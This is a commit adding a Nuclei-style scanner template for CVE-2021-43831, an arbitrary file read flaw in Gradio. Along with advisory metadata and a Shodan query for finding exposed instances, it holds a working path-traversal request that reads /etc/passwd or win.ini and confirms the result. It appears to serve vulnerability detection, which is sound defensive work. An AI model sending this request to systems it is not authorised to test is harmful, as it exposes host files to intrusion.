Create CVE-2021-43831.yaml

http/cves/2021/CVE-2021-43831.yaml

@@ -0,0 +1,52 @@
+id: CVE-2021-43831
+
+info:
+  name: Arbitrary File Read in Gradio
+  author: isacaya
+  severity: high
+  description: |
+    Files on the host computer can be accessed from the Gradio interface
+  impact: |
+    An attacker would be able to view the contents of a file on the computer.
+  remediation: |
+    Update to version 2.5.0.
+  reference:
+    - https://github.com/gradio-app/gradio/security/advisories/GHSA-rhq2-3vr9-6mcr
+    - https://github.com/gradio-app/gradio/commit/41bd3645bdb616e1248b2167ca83636a2653f781
+  classification:
+    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
+    cvss-score: 8.3
+    cve-id: CVE-2021-43831
+    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
+  metadata:
+    vendor: Gradio
+    product: Gradio
+    shodan-query: title:"Gradio"
+  tags: cve,cve2021,lfi,Gradio,traversal
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/file/../../../../../../../../../../../../../../../../../..{{path}}"
+
+    payloads:
+      path:
+        - /etc/passwd
+        - /windows/win.ini
+
+    stop-at-first-match: true
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        dsl:
+          - "regex('root:.*:0:0:', body)"
+          - "status_code == 200"
+        condition: and
+
+      - type: dsl
+        dsl:
+          - "contains(body, 'bit app support')"
+          - "contains(body, 'fonts')"
+          - "contains(body, 'extensions')"
+          - "status_code == 200"
+        condition: and